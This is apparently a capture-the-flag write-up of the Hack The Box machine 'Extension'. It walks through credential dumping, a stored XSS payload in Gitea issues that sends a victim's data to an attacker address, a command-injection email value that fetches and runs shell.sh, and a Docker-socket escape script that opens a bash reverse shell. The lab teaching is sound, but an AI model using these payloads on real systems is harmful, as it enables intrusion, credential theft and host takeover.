# Extension

## Gaining Access

As usual, nmap scan to begin.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-0cf88e900ad109bdd7cea86ed11e761c08c196c5%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

When visiting port 80, we can see that it gives us a domain.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-09b3018c22971de5118add5d6b67f95ab1089d73%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

The Get Started button directs us to a login page, where default admin:admin credentials do not work.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-704703249b3378563bfe173757320899d99b3dd6%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

For this particular domain, there are tons of vhosts when using gobuster to scan it.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-eab452bb5d019231045926fcb980673f75947b30%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

The most interesting of all was the first one, which hosted a Gitea instance.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-3de1c950a9727d425ec6c26c4b530ccc8d2c1fe2%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Gitea has had some form of RCE exploits in the past, but this is running an updated version of the software, so no easy RCE for us.

### Dump Credentials

When analysing the page source for the iniital login page found on snippet.htb, we can see that it contains some JavaScript code pointing towards certain endpoints on the application.

The most interesting of it was this **management/dump** end point.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d05c60e117753aa2483ed1a678ed4ecd34c9388b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

This endpoint takes a POST request, and some fuzzing of the login request using Burp tells us that this takes JSON parameters.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-725c46f13a32f1e9ecc7e798d7e0cab9fdf8a457%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

When changing this endpoint to the /management/dump endpoint, we get a 400 response saying that we are missing arguments.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-061ab1e21b74d85fcf9c63099f30a936c2e6e906%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Based on my understanding of /dump endpoints and HTB creators, this thing should dump out a bunch of useful credentials should we find the right argumenst to enter. We have no other hints, so fuzzing this thing is the way forward it seems.

We can use wfuzz to fuzz out the two parameters we need, filtering the responses by excluding those that have the "Missing Arguments" string.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-15d68259cbc5bc01e0f93daa3424efe3bbf1f20a%2Fimage.png?alt=media" alt=""><figcaption><p><br></p></figcaption></figure>

Now we have the first parameter, then we can fuzz the next. When checking request using Burp, we can see that now we have the string "Unknown tablename".

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e206f600bc3aefcd538300887d352e020dfed992%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Then we can proceed to continue fuzzing the parameter with the new string. After a while, we find that "users" is the next valid value.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-11fe60f18bdd3abea8b125a6db8831d7b96fd83a%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Now, we can dump out all the possible credentials with passwords!

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-d5872c97ead2bed61ba123f9c448057332aacab5%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

There's a lot of information that is dumped, so we can use curl to redirect the output into a file. Afterwards, we can extract the hashes and get cracking.

There's like over 890 hashes here, so cracking all of them is impossible without melting my laptop. In this case, we could use crackstation to test out 20 hashes at a time. Then, I would check for the occurrence of the hash within the main account. After a while, I managed to crack one.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-50491bca60d550ce764b665060ee7dae697fcf7b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Analysis of the main file revealed that the users are

* <juliana@snippet.htb>
* <letha@snippet.htb>
* <fredrick@snippet.htb>
* <gia@snippet.htb>

So we have 4 users that are using the same password. Using Juliana's account, I was able to login to the website on snippet.htb

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-9055c173d724debe2f150236f6fdf76638d9c33d%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Adding Snippets

This website allows us to add snippets of code for others to view, or something like that. I tested this out by adding some simple snippet and viewing the request in Burpsuite.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-fc40bbec491faaeb45e1ce3e9fa120d0536359cb%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Once we post snippets, we can edit them, and we can also make them public for all to see.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-a799f20196ad36ebe6145c3671d0634d36b6646f%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

I found this interesting because it referenced snippets by ID number. What's interesting is this was my first update, yet it was already the 3rd snippet posted. This tells me there is something hidden elsewhere. Upon changing this to 2, we can see a hidden snippet being posted by jean.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c46a9223ada73b6a3491a448f2c7284f008761d3%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-04f383263bbe4274f99e587b9d26570870fecd13%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

This gives us credentials for jean! We can easily decode from base64 and find the credentials. Then we can login to Gitea as jean.

### Gitea XSS

Within Gitea, we can find a few push requests made by jean.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-24a1075e20193baa25682de7c50a327be78e1128%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Upon viewing the repository, there appears to be some form of JS script here that has a bad character filter being used:

{% code overflow="wrap" %}

```javascript
const list = document.getElementsByClassName("issue list")[0];

const log = console.log

if (!list) {
    log("No gitea page..")
} else {

    const elements = list.querySelectorAll("li");

    elements.forEach((item, index) => {

        const link = item.getElementsByClassName("title")[0]

        const url = link.protocol + "//" + link.hostname + "/api/v1/repos" + link.pathname

        log("Previewing %s", url)

        fetch(url).then(response => response.json())
            .then(data => {
                let issueBody = data.body;

                const limit = 500;
                if (issueBody.length > limit) {
                    issueBody = issueBody.substr(0, limit) + "..."
                }

                issueBody = ": " + issueBody

                issueBody = check(issueBody)

                const desc = item.getElementsByClassName("desc issue-item-bottom-row df ac fw my-1")[0]

                desc.innerHTML += issueBody

            });

    });
}

/**
 * @param str
 * @returns {string|*}
 */
function check(str) {

    // remove tags
    str = str.replace(/<.*?>/, "")

    const filter = [";", "\'", "(", ")", "src", "script", "&", "|", "[", "]"]

    for (const i of filter) {
        if (str.includes(i))
            return ""
    }

    return str

}

```

{% endcode %}

The filter portion seems to be missing the '<' and '>' character, and it blocks src and script, meaning that the next step would be an XSS of some kind. Looking at the users present on the Gitea instance, there is only one we are interested in, which is charlie.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-499359b10e12f435e4426532fe79c34b86c5d4d4%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We probably need to have some form of XSS to access charlie's account to see some private repos. Since charlie is the only other user, and there has been hints to exploit XSS, I guess Charlie views the page or a repository from time to time. We aren't allowed to use brackets for our XSS payload, so we need to keep that in mind.

{% embed url="<https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md>" %}

Looking at the repo collaborators, we can see that the user charlie is indeed a collaborator.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-a4dd3269560679c1ca47a70ead2aa984cc2f5ad3%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

From here, we can think about how to implement an XSS attack. Looking at inject.js, we can see that it makes a request to a certain url and checks for the issues. When adding to the issues, we can see that a payload `test<test><img SRC="http://10.10.x.x./test.txt">` works, meaning it bypasses the inject.js checks. After a while, the issue is closed, and I assume the user Charlie is the one closing them.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-c19241c2214164e90f45aa8464ad5c3a4e883afa%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

So someone is indeed checking the issues, and we can exploit this fact. So now we need to somehow make charlie request for our page, and observation of Burp reqeusts implies we need to steal the CSRF token to access his hidden repositories.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-5c3a6fcf3cbe375055dc2ed6fa7423ef9de46b98%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

After some more testing, I come across the eval.call XSS method through the page, and was able to include this within the issues to get a hitback on my netcat listener!

This is the payload used: `test<test><img SRC="x" onerror=eval.call${"eval\x28atobZmV0Y2goImh0dHA6Ly8xMC4xMC4xNC41LyIp\x29"}>`

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-08b2686a22d8c99388d89146dd4c4c9bf84b76b4%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

What this does is essentially is `fetch('http://10.10.x.x')` for Charlie to execute upon looking at the issues.

Now, we can use this XSS to send us the information from charlie's repos. This can be done using this payload:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4ab8f5476d278897558ecfb0fe48c636e4a9d26c%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

What this essentially does is this:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-9eb9158393aee8b7756ff01f63b08753e8b2fd4f%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can view the callback:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-b7acf8913f091195fc602cbf065e169fe04d3a16%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

When decoded from base64, we can see that charlie has a backup of his home directory present on this Gitea instance, and pehaps there are SSH keys wthin it.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e865fa0fe0af74e2b4a9eb71d83b2e468036a62c%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-489fbf54cf73b3156b7e420020cbbc41e7ec9377%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can save this file and proceed to access his private SSH keys.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-1692d16864dbf7c4433f97615b8696d99ed77698%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Now we can SSH in as Charlie!

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-9014a72786dc896b3e8a89d026dac371b3b15234%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Jean has the user flag, and we can easily su to jean using the earlier credentials. **Important to note is that we could not SSH into jean in the first place was because our public key was denied access**.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-7fad554f1dd9a2eea4d163f2df5f731d430665eb%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Upon checking ifconfig, we can see that there are loads of other network interfaces within this machine, indicating that we could be in a Docker container of some sort.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-e9fc4af9288922a6f6f2b46f29e356e05856a77b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

I checked the open ports, and found that we had quite a few listening in.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-cb2a815166e84d2035970a82aee0980a626eaa28%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Port 9000 has some service running on it. Afterwards, I ran a linpeas just to enumerate everything and see what files we have acceess to. Nothing much came from this, however.

So we know there are a ton of different containers present on this machine. We just need to figure out how to get into one of them and perhaps escape. Based on LinPEAS, the containers are run by root, so that's one possible attack vector.

### Identifying RCE Vector

Within Jean's home directory, there is this laravel application running somewhere (I'm guessing port 9000 or something else).

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-6b72c4c9e2e71bc181e0cb3b53ba4d9592efad60%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Within the PHP files, there had to be some form of vulnerability that would allow me to gain RCE, so I did a basic `grep -r <term>` for common PHP shells, like system, and shell*exec.* Shell\_exec worked, as I saw this:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-41513dc6c6c566e65fcafdece6f4e2c3beccf218%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Clearly takes user input from $domain and then just pings it. Very exploitable. We just need to find out how to execute this thing.

Using pspy64, we can find some mysql credentials:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-6986beb476d2e44085abdc74b19a52896456f987%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Let's take a look at this database.

### Loggin in as Manager

We first need to portforward this MySQL Instance from the machine before moving on. We can do so with SSH using charlie's private key easily. We need to do this because the host does not have mysql...? Perhaps the creator included an extra step on purpose.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-604b6d0485d42efe699653337d07fb9f9c6e8c05%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-226f3c1b59e3f25ab3432b4a4c6742d128a5c458%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Earlier, we found 4 users, and from there we can update the database such that one of those users becomes a manager. I picked letha, but any is fine. The reason being the cronjob is only changing the password of charlie and jean, so we should use other users.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-a61c9c95df22395e7632348a52bf08cb6d899447%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Then we can login as this user.

### Getting RCE

The managers are able to verify users basically, which ties in to where the RCE lies.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-020ea446ee7bf968a7a2f5c215a921058e6c41e5%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can view the request and see how it verifies the user.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-f035c81a6153e82748f47045e2bffe3c1089787e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

So how do we exploit this? We can either manipulate email we enter, or we can edit the database somehow.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-4a4fba10eec609d1072a6344a6d2cf19183e98bb%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

However, based on this code, it uses some kind of APP\_SECRET, which I'm too lazy to find. So in this case, we can instead opt to add another user into the database with a command appended to the end in order to gain a reverse shell as the www-data.

We can host a malicious script on a HTTP server and use this insert command.

{% code overflow="wrap" %}

```
insert into users(name,email,email_verified_at,password,remember_token,created_at,updated_at,user_type) values ('testing','testing@ezpwn|wget 10.10.14.5/shell.sh && bash shell.sh', '2022-01-02 20:14:55','ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f','2KTrBJhwcS','2022-01-02 20:15:00','2022-01-02 20:15:00','Member');
```

{% endcode %}

Then we can find our user on the website.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-90667f90e8addb92ce75ca29cddb9cb8762db80a%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Once we hit validate, we will get a shell back as the application user.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-3a5a06c085674996be7ce9a427e1a1a43e545b15%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

### Docker Escape

We are now in this container as another user, and the next step is to escape in order to become root or have root access to the machine. I'm not that great with Docker escape, so Hacktricks was a life saver here.

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation>" %}

Early enumeration shows that there is a docker.sock in the /app/docker.sock directory. However, we can't run the docker command in this container, so there has to be another way.

In this machine, there's one critical vulnerability, of which is that the docker.sock is writable.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-24bc70fa62da6196448b5c8590a5bc49d0614869%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

So we can enumerate further to find some docker exploits using curl.

{% embed url="<https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/authz-and-authn-docker-access-authorization-plugin>" %}

After reading quite a bit on docker sockets, how they're not supposed to be writeable and so on, I found a working exploit here.

{% embed url="<https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25>" %}

We can edit this script a bit to fit our machine and then run it. Firstly, we need to change the image name based on this machine's config.

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-8800bf6f514afea23cfe5f54803bb6cf26689090%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can then proceed to use the exploit. Finalized code:

```bash
#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.5/4444 0<&1'\\\"\"]"

# create the container and execute command, bind the root filesystem to it, name the container peterpwn_root and execute as detached (-d)
curl -s -X POST --unix-socket /app/docker.sock -d "{\"Image\":\"laravel-app_main\",\"cmd\":$cmd,\"Binds\":[\"/:/tmp:rw\"]}" -H 'Content-Type: application/json' http://localhost/containers/create?name=test_root
 
# start the container
curl -s -X POST --unix-socket /app/docker.sock "http://localhost/containers/test_root/start"

```

Getting Shell:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-0f34deee21c0f604d6287c2f0a9816b6d8dab10e%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-1dbf0bc6f6e0bd9c2649758f1f78b2d0ed17a1fc%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

We can then grab the flag:

<figure><img src="https://1617468840-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fqpzdj1tPRpELJdvxuVYh%2Fuploads%2Fgit-blob-88503c827a1ae8c1e703fc282d8dc4410e4beb6b%2Fimage.png?alt=media" alt=""><figcaption></figcaption></figure>

Really hard machine.
